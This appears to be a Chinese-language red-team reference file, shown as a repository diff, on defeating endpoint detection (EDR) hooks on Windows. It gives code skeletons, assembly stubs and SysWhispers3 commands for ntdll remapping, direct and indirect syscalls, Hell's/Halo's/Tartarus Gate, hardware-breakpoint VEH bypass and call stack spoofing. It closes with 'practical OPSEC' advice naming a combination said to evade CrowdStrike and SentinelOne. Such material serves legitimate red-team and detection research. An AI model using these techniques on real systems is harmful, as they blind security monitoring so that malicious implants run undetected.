// 1. CreateFileW("\\Device\\HarddiskVolumeX\\Windows\\System32\\ntdll.dll") // 用原生路径绕监控
|
||||
// 2. NtCreateSection (SEC_IMAGE)
|
||||
// 3. NtMapViewOfSection 到一个新地址
|
||||
// 4. 找新地址 .text 段
|
||||
// 5. NtProtectVirtualMemory 把当前 ntdll .text 改 RW
|
||||
// 6. memcpy 覆盖
|
||||
// 7. NtProtectVirtualMemory 还原为 RX
|
||||
```
|
||||
|
||||
### 注意
|
||||
|
||||
- `NtProtectVirtualMemory` 本身可能就是 hook 的 → 链式问题。解决:先用 **直接 syscall** 调 `NtProtectVirtualMemory`
|
||||
- 现代 EDR 已经监控 `NtProtectVirtualMemory` 对 ntdll 内存的 W 操作,需要配合 ETW patch
|
||||
- Peruns Fart 在 ETW-TI 下会留下事件 `KERNEL_MODULE_LOAD`、`PROTECTVM` — 一定要先压 ETW
|
||||
|
||||
## 2. 直接 syscall (Direct Syscall)
|
||||
|
||||
### 原理
|
||||
|
||||
不调用 ntdll 的导出函数,自己写 syscall stub:
|
||||
|
||||
```asm
|
||||
NtAllocateVirtualMemory:
|
||||
mov r10, rcx
|
||||
mov eax, 0x18 ; SSN (Win11 24H2 上的值,每个版本不同)
|
||||
syscall
|
||||
ret
|
||||
```
|
||||
|
||||
`syscall` 指令直接从用户态跳到内核 SSDT,跳过任何用户态 hook。
|
||||
|
||||
### SysWhispers3 用法
|
||||
|
||||
```powershell
|
||||
git clone https://github.com/klezVirus/SysWhispers3
|
||||
cd SysWhispers3
|
||||
python3 syswhispers.py --preset all --action edit -o syscalls
|
||||
```
|
||||
|
||||
输出:
|
||||
|
||||
```text
|
||||
syscalls.h - 函数声明
|
||||
syscalls.c - C 胶水代码
|
||||
syscalls.asm - MASM 汇编 stub
|
||||
syscallsstubs.std.x64.asm - 标准直接 syscall
|
||||
```
|
||||
|
||||
在 Visual Studio 中:
|
||||
|
||||
```text
|
||||
1. 把 .asm 加入项目,启用 MASM (Custom Build Tool)
|
||||
2. include syscalls.h
|
||||
3. 调用 Sw3NtAllocateVirtualMemory(...) 替换原 NtAllocateVirtualMemory
|
||||
```
|
||||
|
||||
### 最小直接 syscall 调 NtCreateFile(C 代码骨架)
|
||||
|
||||
```c
|
||||
// syscalls.asm(节选)
|
||||
// Sw3NtCreateFile PROC
|
||||
// mov [rsp +8], rcx
|
||||
// mov [rsp+16], rdx
|
||||
// mov [rsp+24], r8
|
||||
// mov [rsp+32], r9
|
||||
// sub rsp, 28h
|
||||
// mov ecx, 0x55 ; function hash (动态解析 SSN)
|
||||
// call Sw3GetSyscallNumber
|
||||
// add rsp, 28h
|
||||
// mov rcx, [rsp+8]
|
||||
// mov rdx, [rsp+16]
|
||||
// mov r8, [rsp+24]
|
||||
// mov r9, [rsp+32]
|
||||
// mov r10, rcx
|
||||
// syscall
|
||||
// ret
|
||||
// Sw3NtCreateFile ENDP
|
||||
|
||||
#include <windows.h>
|
||||
#include "syscalls.h"
|
||||
|
||||
int main(void) {
|
||||
HANDLE hFile = NULL;
|
||||
OBJECT_ATTRIBUTES oa;
|
||||
UNICODE_STRING uName;
|
||||
IO_STATUS_BLOCK iosb;
|
||||
WCHAR path[] = L"\\??\\C:\\Windows\\Temp\\edr_test.bin";
|
||||
|
||||
uName.Buffer = path;
|
||||
uName.Length = (USHORT)(wcslen(path) * sizeof(WCHAR));
|
||||
uName.MaximumLength = uName.Length + sizeof(WCHAR);
|
||||
|
||||
InitializeObjectAttributes(&oa, &uName, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||
|
||||
NTSTATUS st = Sw3NtCreateFile(
|
||||
&hFile,
|
||||
FILE_GENERIC_WRITE,
|
||||
&oa,
|
||||
&iosb,
|
||||
NULL,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
FILE_OVERWRITE_IF,
|
||||
FILE_SYNCHRONOUS_IO_NONALERT,
|
||||
NULL,
|
||||
0
|
||||
);
|
||||
|
||||
if (st >= 0) {
|
||||
// 写一些字节略
|
||||
Sw3NtClose(hFile);
|
||||
return 0;
|
||||
}
|
||||
return (int)st;
|
||||
}
|
||||
```
|
||||
|
||||
### 缺点
|
||||
|
||||
- syscall 指令位于 implant 自己的 `.text` 段(非 ntdll 内)→ kernel-mode telemetry 容易看出 "syscall from non-ntdll address"
|
||||
- 这就是 indirect syscall 出现的原因
|
||||
|
||||
## 3. 间接 syscall (Indirect Syscall)
|
||||
|
||||
### 原理
|
||||
|
||||
syscall 指令仍然来自 ntdll.dll(合法地址),只是 SSN 和返回地址我们自己控制:
|
||||
|
||||
```text
|
||||
implant 代码:
|
||||
mov r10, rcx
|
||||
mov eax, <SSN>
|
||||
jmp [<ntdll 中某个 syscall;ret gadget 的地址>] ; 不是 syscall 在 implant 里
|
||||
```
|
||||
|
||||
跳到的 gadget 通常就是 `Nt*` 函数末尾的 `syscall; ret` 两字节序列。
|
||||
kernel-mode ETW provider 看到的 RIP 是 ntdll 地址,符合合法行为模式。
|
||||
|
||||
### SysWhispers3 indirect 模式
|
||||
|
||||
```powershell
|
||||
python3 syswhispers.py --preset all --action edit --mode jumper -o syscalls
|
||||
# --mode jumper => indirect syscall
|
||||
# --mode jumper_randomized => 随机化 jmp 目标减少签名
|
||||
```
|
||||
|
||||
生成的 stub:
|
||||
|
||||
```asm
|
||||
Sw3NtAllocateVirtualMemory PROC
|
||||
mov [rsp+8], rcx
|
||||
...
|
||||
mov ecx, 0x18 ; function hash
|
||||
call Sw3GetSyscallNumber ; 返回 SSN -> eax
|
||||
call Sw3GetSyscallAddress ; 返回 ntdll 中 syscall;ret 地址 -> rbx
|
||||
...
|
||||
mov r10, rcx
|
||||
jmp rbx ; 跳到 ntdll 内合法 syscall 指令
|
||||
Sw3NtAllocateVirtualMemory ENDP
|
||||
```
|
||||
|
||||
## 4. Hell's Gate / Halo's Gate / Tartarus Gate
|
||||
|
||||
三者解决"SSN 动态解析"的演进。
|
||||
|
||||
### Hell's Gate
|
||||
|
||||
- 假设 ntdll 未被 hook
|
||||
- 在 implant 启动时遍历 ntdll 的 `Nt*` 导出,从前 4 字节 `mov eax, <SSN>` 提取 SSN
|
||||
- 优点:不写死 SSN,跨 Windows 版本通用
|
||||
- 缺点:如果 ntdll 已经被 hook(第一字节变成 jmp),提取失败
|
||||
|
||||
### Halo's Gate
|
||||
|
||||
- 修复 Hell's Gate 的 hook 问题
|
||||
- 如果发现某个函数被 hook(不是标准 prologue),就**向上 / 向下扫描 ±N 个函数**
|
||||
- 利用 ntdll 中 `Nt*` 函数 SSN 是连续递增的事实,从邻居反推被 hook 函数的 SSN
|
||||
|
||||
```text
|
||||
正常情况:
|
||||
NtAllocateVirtualMemory SSN = 0x18
|
||||
NtQueryInformationProcess SSN = 0x19
|
||||
NtProtectVirtualMemory SSN = 0x50
|
||||
|
||||
如果 NtAllocateVirtualMemory 被 hook 看不到 SSN,看邻居:
|
||||
上一个未 hook 的导出 SSN = 0x17
|
||||
下一个未 hook 的导出 SSN = 0x19
|
||||
→ NtAllocateVirtualMemory SSN = 0x18
|
||||
```
|
||||
|
||||
### Tartarus Gate
|
||||
|
||||
- 进一步处理 **Hook 改了 SSN 但保留了 syscall 指令** 的高级 hook
|
||||
- 同时校验 SSN 与 syscall;ret gadget 地址
|
||||
- 三者结合提供最稳定的 indirect syscall 基础
|
||||
|
||||
### 参考实现位置(在自举的 git clone 后)
|
||||
|
||||
```text
|
||||
Hell's Gate: am0nsec/HellsGate
|
||||
Halo's Gate: am0nsec/HellsGate (含 fallback 逻辑) / SafeBreach-Labs/HalosGate-PoC
|
||||
Tartarus Gate: trickster0/TartarusGate
|
||||
SysWhispers3: 集成了三者
|
||||
```
|
||||
|
||||
## 5. Hardware Breakpoint Blindside
|
||||
|
||||
### 原理
|
||||
|
||||
利用调试寄存器 `DR0-DR3` 在 EDR hook trampoline 的入口设硬件断点;
|
||||
设置 VEH (Vectored Exception Handler) 在断点命中时把 RIP **直接改到 hook trampoline 后面**,
|
||||
跳过 EDR 的检测代码,落到 ntdll 真正的 syscall 段。
|
||||
|
||||
### 优势
|
||||
|
||||
- 不需要写 ntdll 内存(无 `NtProtectVirtualMemory` 告警)
|
||||
- 不需要 unhook(hook 还在那,只是被绕过)
|
||||
- ETW-TI 看不到内存修改
|
||||
|
||||
### 实现骨架
|
||||
|
||||
```c
|
||||
// 1. AddVectoredExceptionHandler
|
||||
// 2. 在每个被 hook 函数入口设 DR0..DR3 (最多 4 个,配合 single-step rotate)
|
||||
// 3. SetThreadContext(thread, &ctx) 写 DRx
|
||||
// 4. 当 EDR hook trampoline 触发硬件断点 -> VEH 接管
|
||||
// 5. VEH 把 EXCEPTION_POINTERS->ContextRecord->Rip 改到 ntdll 的合法 syscall;ret
|
||||
// 6. ContinueExecution
|
||||
|
||||
LONG CALLBACK Blindside(EXCEPTION_POINTERS* ep) {
|
||||
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
|
||||
DWORD64 rip = ep->ContextRecord->Rip;
|
||||
if (rip == g_hookedNtAllocVM) {
|
||||
// SSN 已经在 eax;R10 = RCX;跳到 ntdll 的 syscall;ret
|
||||
ep->ContextRecord->Rip = (DWORD64)g_syscallGadget;
|
||||
return EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
}
|
||||
return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
```
|
||||
|
||||
### 限制
|
||||
|
||||
- 每个线程独立 DRx → 多线程要分别设
|
||||
- 一些 EDR 已经 hook `NtSetContextThread` / `NtGetContextThread`,要先用前面的技术绕过它
|
||||
- Win11 22H2+ 引入 HVCI / 一些反调试缓解可能干扰
|
||||
|
||||
## 6. Call Stack Spoofing
|
||||
|
||||
### 问题
|
||||
|
||||
现代 EDR 在 `NtAllocateVirtualMemory` / `NtCreateThreadEx` 等 syscall 内核入口处会调用 `RtlCaptureStackBackTrace`,
|
||||
拿到完整调用栈上报。implant 的栈会出现 **non-image-backed memory** 帧 → 高置信告警。
|
||||
|
||||
### 方案 A:CallStackSpoofer(William Burgess)
|
||||
|
||||
实现思路:
|
||||
|
||||
1. 在 syscall 前 swap 当前线程栈 → 一个伪造的合法栈
|
||||
2. 伪造的栈帧填充诸如 `kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart` 这种全合法返回链
|
||||
3. syscall 返回后 swap 回真实栈
|
||||
|
||||
### 方案 B:SilentMoonwalk
|
||||
|
||||
更激进,使用 desynchronized stack:
|
||||
|
||||
```text
|
||||
执行流程:
|
||||
implant 代码 → 自定义 trampoline (修改 RSP / RBP / 栈内容)
|
||||
↓
|
||||
syscall (RtlCaptureStackBackTrace 看到伪造栈)
|
||||
↓
|
||||
trampoline 还原 → 继续 implant 代码
|
||||
```
|
||||
|
||||
关键是 unwinding:让 `RtlVirtualUnwind` 走入伪造的 `RUNTIME_FUNCTION` / `UNWIND_INFO` 链。
|
||||
|
||||
### 实战 OPSEC 建议
|
||||
|
||||
- call stack spoof + indirect syscall + ETW patch 是当前过 CrowdStrike / SentinelOne 比较稳的组合
|
||||
- 在 sleep 阶段也要 spoof,单纯执行时 spoof 是不够的(EDR 会定期采样)
|
||||
|
||||
## 7. 技术选型对照表
|
||||
|
||||
| 技术 | 对抗 | 复杂度 | 当前有效性 | ATT&CK |
|
||||
|------|------|--------|------------|--------|
|
||||
| Peruns Fart | 用户态 hook | 低 | 中(易被 ETW 抓) | T1562.001 |
|
||||
| Direct syscall (SysWhispers) | 用户态 hook | 低 | 低-中(kernel 看 RIP 在 implant) | T1106 / T1562.001 |
|
||||
| Indirect syscall (jumper) | 用户态 hook + kernel RIP 检测 | 中 | 中-高 | T1106 |
|
||||
| Hell's / Halo's / Tartarus | SSN 解析 | 中 | 高(基础设施) | T1027 |
|
||||
| HWBP Blindside | hook + 无写操作 | 高 | 高 | T1562.001 |
|
||||
| CallStackSpoofer / SilentMoonwalk | call stack telemetry | 高 | 高 | T1564 |
|
||||
|
||||
实战推荐链:**Halo's Gate + indirect syscall + CallStackSpoofer + ETW patch**。
|
||||
|
||||
## 参考资料
|
||||
|
||||
- SysWhispers3:<https://github.com/klezVirus/SysWhispers3>
|
||||
- Hell's Gate / Halo's Gate POC:<https://github.com/am0nsec/HellsGate>、<https://github.com/SafeBreach-Labs/HalosGate-PoC>
|
||||
- Tartarus Gate:<https://github.com/trickster0/TartarusGate>
|
||||
- CallStackSpoofer:<https://github.com/WithSecureLabs/CallStackSpoofer>
|
||||
- SilentMoonwalk:<https://github.com/klezVirus/SilentMoonwalk>
|
||||
- Blindside(hardware breakpoint):<https://www.cyberark.com/resources/threat-research-blog/blindside-a-new-technique-for-edr-evasion-with-hardware-breakpoints>
|
||||
- MITRE T1562.001:<https://attack.mitre.org/techniques/T1562/001/>
|
||||
|
||||
## 路由回调
|
||||
|
||||
unhook 仅是绕过的一半,另一半是 telemetry 失明:进入 `references/telemetry-blinding.md`。
|
||||
Reference in New Issue
Block a user